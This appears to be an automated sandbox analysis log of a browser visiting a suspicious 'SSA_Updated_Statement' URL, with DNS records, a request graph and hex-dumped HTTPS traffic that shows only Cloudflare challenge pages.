Nov 22, 2024 23:00:31.861673117 CET	1.1.1.1	192.168.2.16	0x6448	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:54.114618063 CET	1.1.1.1	192.168.2.16	0x3e35	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:00:54.115291119 CET	1.1.1.1	192.168.2.16	0x55b2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:00:54.115291119 CET	1.1.1.1	192.168.2.16	0x55b2	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:55.105464935 CET	1.1.1.1	192.168.2.16	0xf38a	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:01:00.474303961 CET	1.1.1.1	192.168.2.16	0x889c	No error (0)	wodbaker.com		217.77.14.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

identitys.fraudguard.es

https:

challenges.cloudflare.com

wodbaker.com

a.nel.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

www.google.com

play.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49699	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:31 UTC	687	OUT	GET /SSA_Updated_Statement HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:31 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Fri, 22 Nov 2024 21:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-11-22 21:59:31 UTC	946	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 2b 42 6c 4d 37 6b 43 77 5a 44 39 35 68 33 30 6a 55 50 46 66 4e 2b 38 4d 65 43 68 67 71 6c 4e 7a 30 4a 71 65 34 59 53 4c 4d 67 33 74 67 48 4b 57 56 76 4c 6f 57 56 53 62 32 4f 47 51 69 73 36 41 30 73 71 75 31 63 52 6e 4f 59 4a 43 2b 59 4c 6c 4f 4c 55 39 6a 46 6e 55 65 43 56 62 54 58 34 65 49 5a 49 63 66 5a 47 57 48 46 52 79 49 50 70 56 5a 4e 2b 67 37 59 76 41 54 6a 4f 43 6d 36 42 79 37 53 58 6e 78 69 4b 56 66 6d 4d 71 58 73 69 45 45 35 56 53 52 67 3d 3d 24 2f 72 53 57 34 4e 32 4f 79 75 31 32 70 78 4e 4f 4a 48 48 64 7a 51 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 Data Ascii: cf-chl-out: +BlM7kCwZD95h30jUPFfN+8MeChgqlNz0Jqe4YSLMg3tgHKWVvLoWVSb2OGQis6A0squ1cRnOYJC+YLlOLU9jFnUeCVbTX4eIZIcfZGWHFRyIPpVZN+g7YvATjOCm6By7SXnxiKVfmMqXsiEE5VSRg==$/rSW4N2Oyu12pxNOJHHdzQ==Cache-Control: private, max-age=0, no-store, no-cache, must-reva
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 32 34 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 2429<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 6b 67 51 4b 63 78 6a 78 4a 49 69 77 77 57 56 51 53 78 79 4f 64 48 44 64 36 30 45 74 4e 56 32 55 38 6b 56 2e 59 44 72 39 39 36 31 46 4f 47 52 55 32 38 34 35 43 4d 55 4c 70 48 70 75 76 56 75 5f 6b 36 52 46 41 7a 63 47 61 4b 66 4f 6f 74 74 54 55 6f 6e 78 53 4f 64 33 48 43 59 7a 6f 75 38 66 73 44 39 57 66 38 71 34 52 59 68 79 42 5f 7a 63 70 54 75 78 49 4c 48 6f 54 7a 65 6a 34 6b 41 41 78 38 4f 4d 61 68 7a 4d 44 50 72 70 45 5a 4c 54 4a 37 6a 68 6d 6c 45 65 4c 6a 33 57 57 6a 32 31 65 35 70 5f 43 55 52 2e 41 54 65 71 37 4c 6b 50 61 77 63 69 45 64 34 4c 4a 72 31 4f 66 4b 54 35 66 42 59 72 4a 34 68 52 33 66 79 31 45 67 66 38 59 38 39 7a 38 4d 56 77 62 74 5a 73 52 37 76 53 4e 41 70 45 5a 54 4a 30 65 62 6f 65 5a 43 6d 68 66 57 56 33 73 57 46 71 68 42 33 53 51 54 58 Data Ascii: kgQKcxjxJIiwwWVQSxyOdHDd60EtNV2U8kV.YDr9961FOGRU2845CMULpHpuvVu_k6RFAzcGaKfOottTUonxSOd3HCYzou8fsD9Wf8q4RYhyB_zcpTuxILHoTzej4kAAx8OMahzMDPrpEZLTJ7jhmlEeLj3WWj21e5p_CUR.ATeq7LkPawciEd4LJr1OfKT5fBYrJ4hR3fy1Egf8Y89z8MVwbtZsR7vSNApEZTJ0eboeZCmhfWV3sWFqhB3SQTX
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 6c 38 30 46 6b 42 74 56 45 50 72 61 31 66 7a 4c 6c 35 6b 31 79 64 74 32 33 70 58 6d 49 6f 41 6f 59 59 34 5a 4d 79 66 37 74 42 56 41 36 63 41 79 63 2e 47 4e 56 6a 4a 75 6b 61 57 57 36 55 4c 31 33 74 59 54 65 4a 4b 56 45 67 48 6b 6f 52 74 65 46 6c 67 75 70 34 2e 46 35 56 4e 63 6b 57 73 33 32 4a 64 76 4e 4c 45 49 74 37 47 59 45 7a 5f 61 4d 45 57 69 73 4c 34 55 78 4d 31 6a 2e 62 38 48 70 77 79 6d 59 70 54 7a 37 6f 2e 4c 59 4c 6c 41 6f 4c 6a 37 30 44 57 49 66 37 43 5a 34 76 55 79 5f 30 5f 4a 72 6d 32 31 37 41 50 67 75 67 6e 32 66 75 50 74 42 73 55 61 4b 75 49 68 4b 48 50 41 6b 46 46 44 31 6e 46 69 37 70 6f 6e 79 76 34 6d 77 62 2e 4e 45 55 52 6b 4f 53 69 49 77 49 2e 41 47 50 58 74 41 2e 4a 4d 56 65 6e 70 77 76 57 79 4e 5f 6b 36 74 4b 55 30 7a 46 65 71 2e 46 43 Data Ascii: l80FkBtVEPra1fzLl5k1ydt23pXmIoAoYY4ZMyf7tBVA6cAyc.GNVjJukaWW6UL13tYTeJKVEgHkoRteFlgup4.F5VNckWs32JdvNLEIt7GYEz_aMEWisL4UxM1j.b8HpwymYpTz7o.LYLlAoLj70DWIf7CZ4vUy_0_Jrm217APgugn2fuPtBsUaKuIhKHPAkFFD1nFi7ponyv4mwb.NEURkOSiIwI.AGPXtA.JMVenpwvWyN_k6tKU0zFeq.FC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49700	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:31 UTC	959	OUT	GET /SSA_Updated_Statement HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:31 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Fri, 22 Nov 2024 21:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-11-22 21:59:31 UTC	941	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 75 33 53 61 70 4d 2f 73 4f 48 64 68 7a 35 36 37 6f 59 49 67 6f 71 6a 71 6d 38 47 74 39 32 34 48 74 32 69 4f 6a 35 64 58 50 4e 64 58 77 41 78 35 44 66 57 44 75 58 32 58 79 34 68 76 6c 31 41 74 38 75 48 67 77 79 63 64 38 55 64 6f 56 6f 2b 50 6f 69 51 59 57 54 46 73 43 63 54 6b 43 6e 66 32 71 77 32 4e 72 71 4d 69 65 6f 66 44 32 70 71 2f 46 36 45 70 53 59 4d 73 71 77 54 41 42 2b 44 4a 58 2f 31 6b 42 67 62 70 58 71 44 4c 54 33 42 6e 65 4b 48 31 4c 41 3d 3d 24 73 57 2b 39 69 6e 41 67 65 6f 6a 79 2f 76 32 35 46 36 34 72 42 77 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 Data Ascii: cf-chl-out: u3SapM/sOHdhz567oYIgoqjqm8Gt924Ht2iOj5dXPNdXwAx5DfWDuX2Xy4hvl1At8uHgwycd8UdoVo+PoiQYWTFsCcTkCnf2qw2NrqMieofD2pq/F6EpSYMsqwTAB+DJX/1kBgbpXqDLT3BneKH1LA==$sW+9inAgeojy/v25F64rBw==Cache-Control: private, max-age=0, no-store, no-cache, must-reva
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 32 34 64 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 24d4<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 6a 6a 76 61 58 63 68 50 67 47 48 46 66 68 63 65 32 57 77 6b 50 62 38 45 41 66 36 47 76 6c 5f 53 30 4d 61 31 76 64 58 32 54 48 37 68 55 75 35 55 5f 49 76 75 69 4c 66 66 56 4e 5f 57 55 61 78 50 35 4b 64 55 76 45 6f 61 34 54 65 6e 43 66 4a 62 56 55 66 56 36 46 74 4c 75 53 73 77 65 31 45 48 7a 30 32 67 67 4a 36 67 5f 51 4e 4c 67 64 71 52 58 64 50 61 74 54 5f 50 58 44 32 5a 62 46 56 45 2e 6f 55 5a 2e 57 55 46 59 57 68 35 2e 79 70 64 4f 6d 62 59 52 76 66 6d 61 5f 59 62 6a 37 75 71 5f 63 44 55 6b 32 69 58 66 30 35 2e 36 7a 67 57 77 4f 4d 72 31 33 6b 57 5f 6e 50 62 69 79 74 61 50 6b 50 64 6c 67 70 2e 58 66 48 47 4d 53 66 48 4d 64 6b 6f 34 2e 36 6a 74 44 6e 39 61 30 77 63 61 76 6a 72 6f 4f 79 37 70 73 75 71 4d 48 51 30 6c 4f 36 35 69 48 6f 67 47 76 65 77 39 52 75 Data Ascii: jjvaXchPgGHFfhce2WwkPb8EAf6Gvl_S0Ma1vdX2TH7hUu5U_IvuiLffVN_WUaxP5KdUvEoa4TenCfJbVUfV6FtLuSswe1EHz02ggJ6g_QNLgdqRXdPatT_PXD2ZbFVE.oUZ.WUFYWh5.ypdOmbYRvfma_Ybj7uq_cDUk2iXf05.6zgWwOMr13kW_nPbiytaPkPdlgp.XfHGMSfHMdko4.6jtDn9a0wcavjroOy7psuqMHQ0lO65iHogGvew9Ru
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 36 72 44 76 71 39 33 75 51 4f 65 4c 34 51 4d 77 5a 56 7a 62 32 6e 46 7a 6f 49 70 7a 74 36 5f 43 42 38 4c 75 31 44 6e 46 56 2e 74 36 6e 53 35 54 63 2e 7a 6b 32 66 36 68 39 64 75 7a 51 67 4c 76 64 57 30 36 4f 2e 72 55 34 6d 62 6a 31 52 66 58 6c 61 44 72 64 5f 67 6b 42 48 61 64 35 33 36 4f 35 36 64 66 4a 4d 50 6d 2e 66 4a 71 4b 38 6d 55 61 46 48 42 44 39 4d 5a 6e 49 37 37 37 6d 6a 45 68 66 6f 43 51 78 66 56 57 33 4c 79 78 36 4f 48 4f 4a 78 39 5f 71 71 79 76 30 54 47 31 53 55 4c 38 35 73 53 56 41 71 59 77 61 63 4c 4d 61 35 45 67 71 43 57 68 34 45 37 57 4a 77 66 68 65 35 76 31 61 4e 68 6c 59 59 70 72 6a 67 39 48 50 34 51 65 7a 52 62 64 68 49 5a 68 61 43 6c 57 6d 44 4a 72 5f 49 35 49 68 46 39 73 5f 37 6c 4f 46 4c 74 42 57 56 5f 58 45 51 30 6e 68 33 37 6e 4d 62 Data Ascii: 6rDvq93uQOeL4QMwZVzb2nFzoIpzt6_CB8Lu1DnFV.t6nS5Tc.zk2f6h9duzQgLvdW06O.rU4mbj1RfXlaDrd_gkBHad536O56dfJMPm.fJqK8mUaFHBD9MZnI777mjEhfoCQxfVW3Lyx6OHOJx9_qqyv0TG1SUL85sSVAqYwacLMa5EgqCWh4E7WJwfhe5v1aNhlYYprjg9HP4QezRbdhIZhaClWmDJr_I5IhF9s_7lOFLtBWV_XEQ0nh37nMb
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 39 75 6b 70 46 6d 31 6a 32 35 55 42 4b 6c 67 35 67 52 66 61 58 62 50 47 66 5a 5f 79 5f 71 6e 49 4b 42 43 71 6b 5a 4f 77 2d 31 37 33 32 33 31 32 37 37 31 2d 31 2e 32 2e 31 2e 31 2d 55 66 33 56 6e 66 6b 61 31 77 54 32 64 65 6a 4a 69 42 74 55 34 64 74 45 53 4d 71 4c 43 52 37 76 4c 56 66 6b 6a 55 5f 56 49 6f 31 6c 68 5a 6f 62 52 57 53 6b 36 48 5a 4f 49 5f 4f 79 62 30 33 5f 44 7a 42 36 34 38 65 74 50 58 32 62 42 72 73 61 39 37 42 47 39 65 67 47 70 42 32 4c 4e 73 4c 6b 43 77 4e 47 55 64 34 74 37 39 78 52 44 74 39 69 7a 77 63 30 4b 61 5a 4a 5f 39 6a 2e 55 59 37 30 59 7a 43 69 5f 5a 4a 6b 52 33 52 55 56 76 69 41 36 65 42 49 44 45 63 44 68 57 61 4a 32 77 4c 64 72 54 51 6d 59 67 49 33 4c 77 2e 46 33 58 34 71 6a 31 55 65 43 45 73 45 36 50 55 65 61 6e 6e 4d 35 64 4e Data Ascii: 9ukpFm1j25UBKlg5gRfaXbPGfZ_y_qnIKBCqkZOw-1732312771-1.2.1.1-Uf3Vnfka1wT2dejJiBtU4dtESMqLCR7vLVfkjU_VIo1lhZobRWSk6HZOI_Oyb03_DzB648etPX2bBrsa97BG9egGpB2LNsLkCwNGUd4t79xRDt9izwc0KaZJ_9j.UY70YzCi_ZJkR3RUVviA6eBIDEcDhWaJ2wLdrTQmYgI3Lw.F3X4qj1UeCEsE6PUeannM5dN
2024-11-22 21:59:31 UTC	1369	IN	Data Raw: 51 79 52 50 54 72 37 47 45 58 35 6b 73 69 5f 4f 50 62 46 31 6d 54 36 77 75 63 36 5a 65 39 6a 6e 64 64 77 6a 4f 55 47 66 58 37 30 72 39 44 62 70 61 31 52 51 48 73 35 4f 79 41 4a 67 4b 6d 47 50 79 59 78 45 41 6a 64 4f 38 47 4c 4b 4b 74 74 34 32 5a 46 4c 52 68 6f 70 57 4a 69 39 48 48 6b 42 59 74 49 62 43 53 48 6f 76 35 50 79 42 74 51 4f 51 31 43 76 33 6a 63 53 68 47 36 55 45 73 4c 34 5a 53 6a 35 43 34 31 70 38 76 47 77 54 63 56 31 6f 32 39 54 30 4f 46 4c 54 70 72 4f 6f 6b 4f 57 52 44 4c 55 48 6f 4e 70 64 4a 31 37 45 34 32 4c 36 45 53 79 67 32 39 45 35 4d 6a 48 53 71 77 51 54 78 4c 32 4d 74 47 2e 75 53 4d 33 6b 31 45 63 73 61 56 6f 54 4a 53 6a 32 79 2e 51 78 6c 49 35 38 4a 37 47 44 4e 4b 35 38 76 70 43 48 34 49 69 30 63 6f 6f 4e 72 75 36 47 59 41 73 33 31 35 Data Ascii: QyRPTr7GEX5ksi_OPbF1mT6wuc6Ze9jnddwjOUGfX70r9Dbpa1RQHs5OyAJgKmGPyYxEAjdO8GLKKtt42ZFLRhopWJi9HHkBYtIbCSHov5PyBtQOQ1Cv3jcShG6UEsL4ZSj5C41p8vGwTcV1o29T0OFLTprOokOWRDLUHoNpdJ17E42L6ESyg29E5MjHSqwQTxL2MtG.uSM3k1EcsaVoTJSj2y.QxlI58J7GDNK58vpCH4Ii0cooNru6GYAs315
2024-11-22 21:59:31 UTC	1222	IN	Data Raw: 77 50 54 43 35 52 6a 6f 36 75 51 32 64 4a 41 32 37 55 42 4b 56 68 35 4c 6a 76 4e 72 36 6c 73 39 45 52 47 59 47 5f 41 74 64 62 35 5f 45 6a 6b 58 45 48 37 78 75 69 59 52 63 34 52 62 6a 72 46 4b 45 70 47 69 75 59 6c 4a 5f 6a 31 74 57 32 72 65 6b 56 5f 77 38 61 4b 66 68 77 65 47 49 45 43 77 57 48 74 61 66 52 39 71 46 36 50 46 77 6c 65 32 71 4a 64 50 72 64 76 53 71 46 58 31 50 69 70 57 5f 66 4b 4c 73 6a 50 4f 5f 72 69 71 45 6a 4e 65 75 5a 69 42 68 61 64 4d 4b 5a 73 66 30 36 69 77 59 44 50 6b 49 2e 45 2e 74 70 49 58 39 52 4b 7a 73 31 70 5f 44 4d 50 75 76 79 59 64 58 34 78 6b 56 31 49 72 6d 42 53 4d 32 5f 4f 69 58 34 47 71 37 33 70 35 37 65 53 56 38 61 35 4c 56 76 41 44 37 4b 61 6c 51 34 49 75 6a 5f 75 5f 52 70 30 41 4c 56 2e 75 7a 66 59 43 34 54 30 65 4a 4f 56 Data Ascii: wPTC5Rjo6uQ2dJA27UBKVh5LjvNr6ls9ERGYG_Atdb5_EjkXEH7xuiYRc4RbjrFKEpGiuYlJ_j1tW2rekV_w8aKfhweGIECwWHtafR9qF6PFwle2qJdPrdvSqFX1PipW_fKLsjPO_riqEjNeuZiBhadMKZsf06iwYDPkI.E.tpIX9RKzs1p_DMPuvyYdX4xkV1IrmBSM2_OiX4Gq73p57eSV8a5LVvAD7KalQ4Iuj_u_Rp0ALV.uzfYC4T0eJOV
2024-11-22 21:59:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49701	35.190.80.1	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:32 UTC	564	OUT	OPTIONS /report/v4?s=XFi4yMB0qfXbAZ1cdvdmwLjHrhkRe%2F%2BpWaQayyeXLbCAnLVbi8IeQV2Fu4uvFS0RKDUBKLKFclLBnuY%2BcRJjCv1rbJ156uT%2BTWaLpA179Kfh%2F9FJKzz64OA7Eda5VzS%2BGcoSLu7D5NYVLQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://identitys.fraudguard.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:33 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 22 Nov 2024 21:59:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
